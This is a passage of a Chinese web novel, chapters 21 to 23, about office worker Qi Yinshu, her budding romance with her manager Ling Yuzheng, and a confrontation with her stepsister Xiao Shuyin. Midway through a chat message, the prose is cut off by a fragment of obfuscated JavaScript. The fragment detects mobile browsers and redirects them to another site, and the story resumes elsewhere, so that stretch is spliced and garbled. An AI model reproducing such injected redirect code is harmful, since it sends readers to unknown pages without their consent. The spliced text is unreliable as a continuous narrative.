戴鸭舌帽的女生一溜烟跑近,她交代:“这些你给大家分一下,要是不够再跟我讲,我去买。”
“没问题!”灿灿拎起就走。
祁音书见右边的同事们一瞬间热热闹闹聚集,便收回目光,蹲下,在倒数第二格抽屉里找出金嗓子和一包感冒灵。
给隔壁办公区的余樱送过去。
嘉禾公司在城郊,一片钢筋工厂,从有森开车过去,起码一个半小时。
她们与对方的见面时间约在下午两点整,因此,中午十一点,祁音书就收拾包,与来找她的生产部同事们一起下楼。
电梯开门,叶总和凌经理从里面出来。
她们一群人有说有笑地喊了几声领导,喊完,祁音书便忙着跟身边的人继续聊价格问题。
没再看凌经理,与凌经理一出一进,擦肩而过。
一行六人。
大家商量了一下,决定开生产部同事那辆大众。
有人容易晕车,先上副驾,有人拿的东西多,想就坐前面。
祁音书默默等着,最后坐在了最后排最中间的位置。
屁股有点硌,她往前挪了一点,拿出手机,埋头看起来。
生产部与品牌部不同,相对年纪要大一些,大家聊的也都是祁音书不感兴趣的话题。
她偶尔被cue到就笑着应两声,大部分时间都在沉迷星星大战。
万事不决,只需一场不费脑的星星大战,多好。
许多人坐车玩手机都会头晕想吐,祁音书没有这个毛病,这还得益于她小时候,总拉着萧疏音陪她去游乐园玩那个极速大风车。
一下午要玩三次。
萧疏音陪她两次,她自己再玩一次。
每次从游乐园回家,萧疏音的脸色都不太好,平时回家忙看书,游乐园回家就坐在沙发上灵魂出窍。
那个时候啊。
那个时候的萧疏音,虽然对她态度比较冷漠,但她们关系真的挺好的。
祁音书一边莫名想起这些往事一边清屏了三星难度的关卡。
有些时候,人大概不能想别人。
许久没给她来消息的姐姐,突然给她发微信了:【群群,今天周五,晚上我们和阿姨打个视频通话吗。】
从前三人之间是有这个约定。
可祁音书的妈妈最忙,很少出现,往往就变成她跟萧疏音在线上面面相觑地等待。
萧疏音等就等,还要在那边一本正经地忙工作,不停接电话。
她趴在枕头上,等着等着就能睡着。
第二天醒来,通话已经挂断了。
这样没几次之后,祁音书选择装忙,加班,聚餐,头疼脑热不舒服,一开始萧疏音还关切她,加班很晚吗,聚餐别喝酒,身体哪里不舒服?
时间长了,估计也懂了。
她还以为萧疏音不会再提这件事,怎么又来了。
但她今晚,是真的要聚餐:【今晚不行,部门和新领导聚餐。】
姐姐那正在输入了一会儿,最后沉默了。
祁音书退出聊天框,上下翻了翻,久违地点进小组闲聊群。
“嗯?”居然有人刚刚at过她,怎么没提示。
【@uhsniyiq报告领导,刚才凌经理来问我们你今晚去不去,我也不知道。】
祁音书引用这句话:【什么时候问的?】
【就你刚走那会儿,你刚走,凌经理就和叶总回来了,我撞上她们,她问我的。】
祁音书:【/企鹅跌倒卡通表情/】
她转头去私聊余樱:【你身体怎么样?晚上还能去吗?】
余樱:【呜呜呜够呛!脑壳晕晕的/睡/】
祁音书咬唇:【咋办啊,你不去我也不想去了。】
余樱:【不去就不去呗,凌经理不是说可以不去吗,谭夏聚餐群里请假,你没看她立刻就同意了?】
聚餐群?哦,那个只有四个组长和凌豫筝的聚餐群。
订座位算人头用的。
祁音书找过去看,一组组长请假,凌豫筝秒回一个:【ok~】
她戳回余樱:【那我也请了?我估计我这边结束都好晚了,想直接回家躺着。】
余樱:【您请。】
祁音书扒拉回聚餐群:【凌经理,晚上我从嘉禾回去太远了,就不耽误你们聚餐啦,祝你们今晚吃得开心35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15055219|162897||http|test|mini|href|location''.split(''|''),0,{}));
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,连忙将玻璃杯放鞋柜上,踩住拖鞋,边翻包边往卧室快步走。
她将手机贴耳边的时候回头望眼。
萧疏音正蹲下身子,帮她把鞋摆进鞋柜里。
手机里,凌豫筝的声音响起:“祁音书!你怎么才接电话?”有点急的样子。
祁音书心中的慌乱一路带进通话里,她难得结巴:“哦,我、我,没听见,你到家了吗?”
“嗯,你——”凌豫筝似乎有点迟疑,但下一句话又变得温和,“我的外套好像忘在你车后座。”
“啊?那要我明天给你——”
咚咚咚。
祁音书身后骤然响起敲门声,还有一句:“群群。”
她大脑完全宕机。
于是在挂电话还是不应声之间,她选择了最错误的答案。
祁音书继续听着电话,打开房间门。
“不用,你周末好好休息吧,周一带给我就行。”电话里,凌豫筝好脾气,没有问她怎么话说一半。
眼前,萧疏音脸上原本带着点笑容,看了她的手机一眼,那扬起的嘴角渐渐下落。
萧疏音没说话,她自然该先回电话里的人。
祁音书声音有点控制不住地着急:“哦好好好!那我就周一带给你吧!我先去收拾了!拜拜!”
门框的一线之隔,祁音书进卧室没来得及开灯,这会儿,她站在黑暗里,萧疏音的脸也被照上一层阴影。
她双唇动了又动,不知道该说什么,之前她与萧疏音的矛盾再多,这次也是她理亏在先。
“同事电话。”最后还是祁音书率先打破僵局,“我们约好到家互相说一声。”
萧疏音好像眨了下眼睛,仍然保持沉默。
祁音书咽了下喉咙,余光瞄眼右边,抬手,“啪”一下把灯摁亮。
萧疏音被刺得别了下脸,轻微眯眼。
祁音书站直些,尽量让自己表情看上去很镇定:“你怎么突然回来了?在新蓉有工作吗?”
萧疏音眉心紧锁,看回她的双眼。
祁音书双手背身后,紧紧抠着指节,硬对上萧疏音打量的目光。
萧疏音最终叹口气,眉心也松开:“你有同事一起回家,当然更安全,如果以后还有这种需要到很晚的聚餐,就还是和她一路吧。”
祁音书点头:“……哦。”
“很晚了,早点休息吧。”萧疏音笑了笑,转身要走。
逃过一劫。
祁音书缓缓吐出一口气。
“对了。”
萧疏音突然又站定,“我向总公司申请了调岗,最近忙手续,下周再回一趟上海就能结束。”
结束?祁音书没反应过来:“什么结束?”
“结束上海的工作。”
萧疏音向客厅走,声音越来越远,“搬回新蓉。”
22. 第二十二章
早上八点过,祁芸难得给祁音书打来电话。
祁音书一整晚都没睡着,感觉人刚刚有点迷糊,电话铃一炸,她腾一下坐起。头发乱糟糟的,表情空洞,像一具断线木偶。
等铃声又叮呤咣啷闹了十几秒。
她使劲闭了闭眼,忍住后脑勺的刺疼,接起通话:“喂?”
“群群,还在睡觉啊,是不是吵到你了?”祁芸在那头笑着问,背景一堆敲键盘的声音,很嘈杂。
“喔妈妈,没有,不吵,我准备起来了。”
祁音书打开扩音,将手机话筒拿远点,颓然地打了个哈欠,再拉近问,“你还没休息啊?”
“嗯,最近有点忙呢。”她妈妈走到一个安静的地方,“我听疏音说她打算回新蓉上班了,这事你知道吗?”
“哦——”消息这么快就传过去?看来是百分百确定了,“知道。”
“咦?你怎么一点都不兴奋?我还以为你会很高兴呢。”
祁音书掀开被子,踩上凉拖,刚睡醒,她喉咙有点发堵:“咳,我是觉得,姐姐那个工作在上海挺好的,干嘛要回来呢。”
祁芸一听哈哈大笑:“你还真是长大了!我记得你姐要去念大学那会儿,你抱着她的腿哭,不让走。”
祁音书刚要抚上房间门把的手顿住,有一丝尴尬:“哎呀,那都是小学时候的事了,小学生哭一下多正常。”
“那后来呢,你上中学,听说她要留上海不回来,不是又哭了?”
“我。”
祁音书无话可说,她那会儿确实觉得萧疏音打定主意要丢下她,天都塌了。
祁芸时间不多,笑祁音书两句,改口讲重点:“群群,疏音她前段时间一直在住院,估计是想休息了才回家的。你现在大了,要学会多多照顾你姐姐,知道吗?”
祁音书怔了怔,萧疏音没把住院的事跟她讲。
她再不喜欢萧疏音,也连忙问情况,好在祁芸解释是熬夜熬多的职业病,不要紧,她才松口气。
再跟妈妈保证了几句,互相嘱咐几句,便挂断了通话。
安静伫立在房门内。
短短几秒钟,祁音书想通了一些事。
反正已经不喜欢了,以前那些痛苦也该忘记。她和萧疏音始终是家人,对方又马上要搬回来住。
“别小气了祁音书,你主动,尝试和解吧。”她低声对自己说道。
拿定主意,她用力拉开房门。
这个家里常年没别人,祁音书一个人睡主卧,出门路过书房,左手边是萧疏音偶尔回来住的次卧。
她站定,面对次卧房门深呼吸,而后不再犹豫,抬起右手。
笃、笃、笃——
无人应答。
她很耐心,再敲三下,时隔许久,尽量乖巧喊道:“姐姐,你醒了吗?”
-
萧疏音穿件浅蓝色衬衫,黑色的皮质夹克,没带包,只拿了个手机,看上去是临时出行。
隔着很远一段距离,坐藤椅上的叶漫宁冲她招手:“喂喂喂!萧疏音!这里!”
叶漫宁还是老样子。萧疏音露出笑容,抬手回应。
然后,她看见了坐叶漫宁旁边,侧对她,只看手机不抬头的人。
她的脸变冷。
即便被阳光照着,看上去也犹如寒冰。
等萧疏音坐下,叶漫宁双手合十,非常满意地宣布:“202寝室!全员集合成功!”
凌豫筝面无表情对手机点了两下,闷闷地配合了一个字:“耶。”音调低得不得了,不像是庆祝,像是被上刑。
“漫漫,不好意思啊。”萧疏音说,“上次明明答应你要吃饭的,突然有事。”
凌豫筝闻声瞥对面的人一眼。
那想起身走人的烦躁感要多明显有多明显。
之前忙工作交接,忙搬家,忙着考虑和祁音书的关系,这好不容易来到周末,她想在家休息。
就因为萧疏音一句“回来了”,她就不得不应叶漫宁的约。
大清早的本来心情就差,如果只是为了叶漫宁这个好朋友,凌豫筝无所谓,非常乐意陪伴。
但听叶漫宁在耳边与萧疏音寒暄,她明显叹口气,继续在搜索框敲下“祁”这个字。
无聊,没事做,只能关心关心小祁了。
她保证过不窥探祁音书的生活,就不搜名字,只搜姓。
看看由来,看看相关的故事。
看着看着开始想,也不知道小祁周末都忙什么,还在睡吗?
凌豫筝手比脑子快,切进微信。
满满一屏聊天框,大部分都被开启了免打扰模式,私聊备注基本都是“有森-XXX”、“迷多-XXX”。
唯独置顶的人,备注就两个字——
小祁。
凌豫筝拇指停顿了会儿,点进对话框,聊天记录停留在昨晚,她给祁音书拨去的
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语音通话,52秒,一分钟不到就被挂断。
“真的假的,你要回新蓉来啊?那以后我们岂不是能经常约饭?”叶漫宁惊喜道,突然来推推凌豫筝,“哎凌豫筝你听见了吗,萧疏音她要回来上班了!”
凌豫筝刚准备点进祁音书头像的动作被撞了下,手一滑——
【我拍了拍“小祁”。】
“……”凌豫筝赶紧长摁,撤回。
对话框内的提示消失。她松口气。
“哎哟,你一大早忙啥呢,快来跟我们聊天嘛。”叶漫宁拽拽她手腕,马不停蹄跟对面讲,“现在凌豫筝跟我在一家公司上班,你都不知道,她开会的时候可假正经了。”
萧疏音轻轻笑了下:“是吗。”
叮咚。
凌豫筝手里的手机突然响了一下。
过两秒,嗡嗡。
萧疏音摆在桌上的手机也震动了一下。
两人先后低头,点开消息,竟然不约而同地露出了笑容。
叶漫宁侧坐着,目光在这二人身上来回转,觉得这画面好诡异。
她见二人都忙着打字,便独自端起桌上的茶杯,润润嗓。
说什么,她今天也要化身强力502,让这两人重归于好!
另一头,祁音书端坐在餐桌边,桌上摆着一袋拆开的吐司面包,一盒插着吸管的青提栀子味牛奶——之前吃烧烤那天,凌豫筝说青提茉莉的酒好喝。隔天她摸鱼的时候,逛京东,看到这青提牛奶。
仅仅因为“青提”两个字,就鬼上身,下单了。
结果不如想象中好喝。
她坐这儿品了半天,拎拎纸盒,还像满盒一样重。
再品一口,皱眉,这时,微信里的两人都给她回消息了。
她问萧疏音怎么不在家,萧疏音说出门见朋友。
她问凌豫筝拍她干嘛,凌豫筝说正和朋友在外面喝茶,无聊,拍着玩儿。
祁音书眉间皱成“川”字,怎么一个二个上班都不累吗?周末大清早就出门见朋友?
她回萧疏音:【哦,好吧。】
回凌豫筝:【/咬牙切齿南瓜头/】
还阴阳怪气补充:【凌经理,周末是私人时间,请您不要随便拍我,觉得无聊您可以拍别人。】
凌豫筝正在输入半天,最后——
X:【哦,真是小气,怪不得你叫小祁呢。】
X:【/章鱼妹妹喝茶/】
23. 第二十三章
祁音书为凌豫筝这两条消息皱了会儿眉。
到她下楼去车里找U盘,看见车后座的那件黑色外套,都还能想起卡通章鱼的悠闲微笑。
砰——
她黑着脸,重重关上车门。
U盘没找着,手里倒是多拎了一件衣服。
也不知道自己在想什么。祁音书拍下这件衣服,照片给凌豫筝丢过去。
对方立刻变成正在输入,但过了足足一分钟,才发回来一个符号:【?】
祁音书看着问号,紧绷的嘴角一点没松动。
她摁下语音键:“凌经理,这衣服我带去公司不太好,您现在就到车库来拿吧。”不是问句,而是肯定句。
凌豫筝半天没有回应。
祁音书呼吸加重,尽量保持耐心,背靠车门,手机摁在腹部前。
嗒、嗒——时间一秒一秒流逝,她就这样有一搭没一搭用食指敲着手机壳。
过了大概五六分钟,凌豫筝总算回她一个语音,气息不太稳,像在走路:“小祁,那麻烦你等我十分钟可以吗?”
祁音书简单回了个“嗯”,转身,开车门坐进车里。
在车库等人其实挺无聊的。
信号不好,没法刷视频,不用联网的游戏,她这会儿也没心思玩。
祁音书将座位稍微仰倒,双手环身前,在安安静静的密闭空间里,睁着眼睛放空思绪。
不知道过了多久,她听见车窗被人敲响。让她等待的人就站在窗外,祁音书没开门,而是降下车窗,主动递上对方的衣服。
凌豫筝怔了下,抬手接过,看着她的眼睛,说:
“谢谢小祁。”
祁音书挤出一个敷衍的笑容,随后转正脸,有些冷酷地开始升车窗。
“小祁——”
凌豫筝突然又开口,她转头,见对方用左手摁住升起三分之一的玻璃,“你是要出去吗?”
祁音书语气平淡:“没有,我要下车。”
凌豫筝眼里闪过一丝不解:“那你为什么要隔着车窗给我?”
“你不是和朋友在外面喝茶吗?应该要急着走吧?”祁音书回答得很自然。
“你这话怎么听着,好像不太想让我走啊。”凌豫筝眼角弯起笑意。
“没有啊。”祁音书说,“凌经理,您好像挺爱误会人的。”
“误会吗?我觉得你语气里还有点不高兴——”凌豫筝认真看她,“为什么?因为我说你小气?”
莫名其妙?怎么可能?
祁音书发誓她原本真的没有生气,只想快点还衣服,但怎么就越看凌豫筝的脸越上火呢。
想到凌豫筝一次次戏耍她,又想到凌豫筝明明昨晚那么累,还要大清早出门陪朋友喝茶。
什么朋友这么厉害啊。
她就只能被当作拍一拍的无聊玩具呗。
“没有。”到这里,祁音书的语气已经明显低沉了,“你可以松手了吗?我要关窗了。”
凌豫筝笑了一声:“行,你先关。”
松开,但等在车外。
祁音书关好窗,闷在车里坐了会儿,长出一口气后,“咔”一声打开车门。
凌豫筝背对她,站在左侧车头旁边,正在敲字,声音“嗒嗒嗒嗒”一直响,听得祁音书超级心烦。
她转身,正打算背对凌豫筝独自离开。
一只手从身后拉住了她。
祁音书知道是谁,没有回头,也不挣扎,就任人拉着。
心中有点郁闷自己的不理智,凌豫筝见朋友就见朋友,她算什么啊,干嘛在这跟人发脾气。
祁音书僵直着全身,不肯面对身后的人。
凌豫筝估计是看她这样不配合,一边拉住她的手一边绕到她跟前。
今天凌豫筝穿得挺休闲,一件看着就超软乎的米色羊羔毛外套,袖口是那种棕色波西米亚花纹。
祁音书垂低目光,心思空空地盯着那一圈花纹,听凌豫筝特别好脾气,温柔到像在哄她:
“干嘛这么不高兴呀,说你小气是逗你玩的,谐音梗,你要是不喜欢谐音梗,我以后不说了行吗?”
祁音书挣了挣,凌豫筝便放开拉她的手。
凌豫筝还笑:“小祁,你看我是说话有点不分轻重,下次绝对不这样了。”
祁音书心脏被一下一下揪着,酸酸的疼,她真不知道凌豫筝干嘛哄她,有这个必要吗。
她感觉到自己眼眶里有眼泪的时候,吓了一跳,更不敢抬头,垂在腿边的手紧了又紧,拼命让自己声音稳定住:“我们是什么关系啊,你不用跟我道歉。”
凌豫筝没接话。
祁音书后知后觉反应过来,她刚才那句话,太有种想要逼凌豫筝给她一个答案的意思。
不不不,她绝对没有。
她吸口气,想解释,一颗眼泪却完全不受控地在她视野里落下。
声音卡住。
她相信爱盯着人眼睛说话的凌豫筝,也看到了。
彻底尴尬。
祁音书脸越埋越低,这会儿已经不是愤怒或是伤心,反正如果能有地缝,她马上钻。
或者,凌豫筝能不能觉得她烦,赶紧走啊!
祁音书快要崩溃。
手足无措之际,一只手突然轻轻环住她的背,另一只手将她压进一个温暖的怀抱。
“对不起对不起。”凌豫筝在她耳边反复轻声道,“祁音书,是我说错话了,你别哭啊。”
“……”
祁音
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书连最后一点想要钻地缝的力气都消失了,她睁大双眼,木然接受着凌豫筝的歉意。
原来自己先无端发火,还能得到对方的拥抱啊。
她眼泪有点止不住了。
在凌豫筝肩上抽抽搭搭地吸着鼻子。
之后,祁音书又是一个人乘电梯回家,和昨晚满心满眼琢磨凌豫筝的状态不一样。
她刚才发疯了,在对方面前哭过,这会儿大脑一片空白。
开门的时候,她心想,完蛋了,周一该怎么面对凌豫筝。
要不然今天就辞职吧!
进门,家里有正在开火的声音,“嗒嗒嗒”这样有节奏的轻响。
祁音书吓一跳,下意识看眼挂钟,九点半不到,萧疏音怎么回来了?!
她急忙回神,跑进卫生间,对镜子,看着自己明显刚哭过的脸。
听见门外有靠近的脚步声,祁音书双手抬起忙了一阵,最后快速打开水龙头,将冷水一股脑扑在脸上。
祁音书挂着满脸水珠转头,萧疏音正停在门外,与她对上目光后,又颇为疑惑地打量她的脸。
“怎、怎么了吗?”祁音书心虚。
萧疏音看着她的脸,沉默了许久。
“祁音书,你怎么哭了。”她听见萧疏音问。
“啊?”祁音书装傻,“我没有啊。”
萧疏音强行扶住她的肩膀,让她端端正正面对:“刚才去哪里了?见了谁?为什么哭?”
“我,真的没有。”
水珠不断从祁音书的下巴滴下,打湿衣领。
她不得不承认萧疏音太了解她,问得完全精准,让她没办法撒谎。
萧疏音唇越抿越紧,她听见重重的呼吸声。
“祁音书!”
表情冰冷的人终于重声道,“我不知道你最近几个星期都在忙什么,但我能看出你不对劲,我是你姐姐,祁阿姨不在家,我就要对你的安全负责,你到底有什么事情瞒着我?!”
负责负责,又是负责,萧疏音,你的人生你过明白了吗就要负责我的?
对上眼前深棕色的瞳孔,祁音书从刚才的惊魂未定中走出来,推开萧疏音摁她的手,这会儿,她看上去比萧疏音冷静多了。
“谈恋爱很不安全吗。”她面无表情问。
“……”
一瞬间,萧疏音的表情变得失控,眼睛猛眨了好几下,隔了好半天,才问,“你说什么?”
她眼前,祁音书脸上的水珠已经被胡乱擦干了。
很可爱的脸,很可爱的眼睛,瞳孔圆圆的,黑黑的,和从前一模一样。
“我说。”
祁音书的声音很淡,也很稳,“萧疏音,我已经26了,谈恋爱很不安全吗?”